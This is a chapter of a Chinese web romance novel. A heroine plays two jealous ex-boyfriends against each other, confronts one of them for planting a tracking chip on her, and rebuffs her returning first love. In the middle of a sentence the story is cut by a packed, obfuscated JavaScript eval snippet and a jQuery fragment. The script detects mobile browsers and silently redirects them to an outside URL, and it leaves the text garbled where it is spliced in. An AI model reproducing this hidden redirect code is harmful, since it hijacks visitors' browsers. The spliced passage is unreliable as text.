气氛凝固了几秒。
万郃眯眯眼，身体微微向林向好倾侧过来，却没松开手：“好的前任就应该像死了一样。”
“死人什么时候也配开口说话了？”
宋清越没有生气，而是带着淡淡的笑意：“总比没有名分的野狗在这乱叫要体面得多。”
万郃对于自己没名没分在林向好身后跟了这么多年一直很芥蒂，听到宋清越这么毫无遮掩地说出来，脸色一瞬间阴沉下来：“我有没有名分和你有什么关系？”
宋清越笑了一下，似乎有种嘲笑的意味：“好好还没提分手的时候，你就不止一次勾引过她吧。”
宋清越上前撞开万郃的肩膀，掸开他的手，拿出一块手帕替林向好仔细擦拭每一根指缝，眼皮都没抬：“有用吗？”
他抬起头：“那天晚上穿着不雅衣服淋雨回去的人难道不是你？”
“万郃。”宋清越轻描淡写：“都贱到送货上门了还能被退货啊。”
林向好冷汗直流。
不是哥们，这攻击力也太高了吧！
还有他怎么连那晚的事情都知道?
她可是善心大发，为了万郃名声着想从上到下替他全副武装了三层才让他滚出去，怎么还是被发现了！
林向好感到深深的震撼。
万从景拉了拉林向好的胳膊：“你……前男友？”
虽然嘴上这么问，但万从景的心理还有点不是滋味，他以为前男友的称号也只会是他一个人的，没想到第一天就冒出了另一个前男友，那他还有什么唯一性呢？
林向好点点头，捂着嘴小声道：“你别招惹他，他精神不正常。”
等等，她身边这三个人好像就没有脑子正常的吧？
唉，这么一想，林向好就觉得自己命苦起来了。
别人的桃花捞金，她的桃花全是精神病患者，等到了晚年，她还能针对这些人的性格特点出一本书，就叫《龟男的救赎》。
宋清越注意到林向好和万从景的互动，语气温和道：“这位是？”
林向好趁机解救自己的左手。
“好好的前男友。”万从景顿了一下：“也是她的初恋。”
前男友可以有无数个，但初恋只有一个。
万从景已经自觉把自己安置到了那个白月光的位置。
“我知道你。”宋清越说：“好好经常提起你。”
他的目光从上到下缓缓审视，皱了一下眉又微笑礼貌道：“但现在看来，也就一般。”
宋清越话中的轻蔑之意一目了然。
但万从景根本没放在心上，他一愣，转过头看着林向好：“你和他提起过我？”
这是不是也意味着林向好心里还有他，当初分手也并非自愿？
林向好眼神游移，回答得支支吾吾：“嗯……呃或许吧。”
她当初确实在宋清越面前时不时以一副怀念白月光的姿态提起万从景，但艹人设嘛，谁不下点功夫？
她也没想到作为背景板的白月光说回来就回来啊，自我介绍竟然用的初恋这个词，真会给自己长脸。
万郃走到林向好面前，薄唇抿成一条线，眼神落在她脸上：“林向好，你不替我说话吗？”
林向好一愣。
为什么要替他说话？
宋清越说的不都是事实吗？
万郃似乎看出了她的想法：“你也是这么看我的，是吗？”
不然呢。
他不就是那样的人吗？
万郃与林向好深深地对视，良久，他自嘲一笑：“我知道了。”
他以为陪着林向好一起走过这几年，哪怕在林向好心里他还是没有那么重的分量，但至少，林向好会把他当成所有物。
他如此了解林向好，知道她过往的不堪，看清她的虚伪与薄情，明白她不会在乎任何人的真心，可他还是在赌，赌林向好每次都有一点点心软，而这些心软恰好够万郃咀嚼食用，赖以生存。
万郃从不奢求林向好能给予她真心，只要林向好将他划进界限，把他当成自己的物品去维护，他就会心怀虔诚地感激。
只是为他说一点点好话，都不肯吗？
万郃一贯吊儿郎当的表情荡然无存，他转过头，将领口拉到最上面，转身就走。
脚步越走越快，擦过脸颊的风也越来越大。
万郃感觉到自己的眼眶有点发烫。
真没出息，被一个女人搞成这样。
他想。
他都能猜到身后那两个狗崽子得意的表情，以及林向好的心声。
她一定在想，装什么啊，过两天我勾勾手指不就回来了。
但他不会回来了。
“宋清越。”林向好说：“给万郃道歉。”
万郃停下了脚步。
宋清越有些惊讶：“好好，我……”
林向好打断他的话：“我不清楚你为什么那么说，但万郃是我的朋友，我不允许你用那种词汇来形容我的人。”
“另外。”林向好说道：“既然我和你已经分手了，那么我和万郃的事情你也没有资格去质问。”
“在场，最没有资格说话的人就是你。”
林向好将一小枚芯片放在他的掌心，眼睫垂下，凑过去附在他耳边轻声道：“再在我身上放定位器我弄死你。”
宋清越握紧掌心的定位器，缓缓地笑了，面容柔和：“被好好发现了呀。”
他拍拍手，从阴影出走出一个男人，恭恭敬敬地上前接过宋清越手中的芯片。
宋清越垂下眼：“原来喊我来只是为了这么一件小事。”
林向好：？
这是小事吗？
这人怎么对着她狗嘴里也吐不出象牙？
面对如今，林向好只有无尽的懊悔。
当初看脸以为谈到了一个语文老师类型的贤夫，从此人生可以过上衣来伸手饭来张口的窝里横生活。
结果真到手了才发现是一个脑子问题更严重的天龙人。
他大爷的窝里横生活没过上，过上法制频道的生活了，每天两眼一睁宋清越已经把她一整天都已经安排好，见了什么人聊了什么话比天眼查得还清楚，那段时间林向好甚至觉得自己在和8G时代的智能助手在谈恋爱——只要有网络的地方就能被监视。
现在想想，林向好有点遗憾——遗憾分得太晚了。
她果然还是忍了这个神经病太久啊！
林向好认真盯着宋清越的眼睛：“宋清越，我再正式通知你一次，我们已经分手了。”
“不要试图介入我的生活。”
要不是看在你以前伺候她伺候得很好的面子上，她早报警了！
虽然不知道报警对天龙人来说有没有用。
宋清越十分失望地叹气：“好好，你什么时候会明白，只有我才能照顾好你的生活。”
傻*。
林向好没理他，而是冲着差一个台阶的万郃背影说话：“万郃，我从来没有那么想过你。”
万郃转过身，看着林向好，似乎在等她的下一句。
啧，这家伙一直在偷听
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816677|190921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吧，就等着她出声挽回呢。
林向好说：“我一直都觉得你是最了解我的人，所以很多时候我以为我们不需要沟通。”
万郃往回走了一步。
烂人真心真难演。
“可能我太自负了，我以为你会读懂我所有的态度，所以让你遭受了伤害，如果你需要一个道歉，那么——”
林向好站在那里，看着万郃刚好走到她面前的台阶下，于是她稍稍低眼，眼神落在万郃因抬起而绷紧的喉结上：“对不起。”
万郃哼了一声，先是冲宋清越得意道：“现在该走的人不是我了吧！”
林向好也点点头：“宋清越，你走吧。”
宋清越看了一眼林向好，态度平和，似乎并不介意万郃的语气：“我不会让你丢下我的，好好。”
等宋清越在视野中彻底消失，万郃以手握抵在嘴角轻咳一声，眼神左顾右盼：“你刚刚和宋清越说，我是你的人？”
林向好微笑地看着她：“我放屁的。”
看看，装什么啊，她勾勾手指不就回来了。
万郃桃花眼都瞪圆了，上前摇晃林向好的肩膀：“不行！不许反悔！我都听到了！”
他掏出手机：“我刚刚都录下来了！”
说着他就点开录音反复播放。
林向好被他烦得要死，伸手推开他的肩膀：“行行行，是是是，你是我的人。”
兜里的手机开始震动起来，林向好一边掏一边道：“想当我的人得先掏会费啊，先转账后转正。”
刚点开接听键，秦宋劈头盖脸一顿骂迎面而来：“不是，妹子你睡着了？我在网吧等你半个点了，别人以为我一个人坐双包等着随机匹配同桌呢，还能不能来了？”
林向好一边心虚一边擦汗：“我这快到了，你再等十分钟！”
秦宋冷笑一声：“十分钟够吗？”
“二十分钟也行，嘿嘿。”
她们常上网的地方距离这也不远，大概一刻钟的路程。
“麻溜的。”
林向好挂断电话，推开两座门神：“行了，该干什么事干什么事去吧，我要走了。”
万从景拉住他的手，有些执拗地不甘：“那我呢。”
“你不是今晚的主角吗？”林向好奇怪地看了他一眼，推开他的手：“参加宴会去啊。”
可他只想成为林向好眼中的主角。
万从景看着林向好，说不出话。
从刚刚起，林向好的注意力就一直在那两个贱人身上。
可悲的是，万从景发现，自己和他们相比，更没有夺取关注的手段和经验。
万郃往前一步，拦在两个人中间：“快去吧，秦宋不是还在等你吗？”
待到林向好离开，万从景冷眼看向万郃：“欲擒故纵有意思吗？”
“比我大这么多岁，却只学会这些不入流的手段，真不愧是老男人。”
万郃笑眯眯，懒懒地伸了个腰道：“入流不入流的，有用就行。”
他按下录音播放键，伴随林向好的声音响起，万郃说道：“你看现在，我不就是她的人了吗？”
*
林向好急匆匆到了包间，看到秦宋十分幽怨地盯着她，腼腆一笑，将兜里的打包盒掏出来放在桌上。
秦宋毫不客气地打开，一边吃一边问道：“怎么现在才来，你到底干嘛去了？”
林向好打开电脑，目光盯着屏幕：“挑起几条狗的矛盾去了。”
她说：“让他们没事的时候狗咬狗，而不是来烦我。”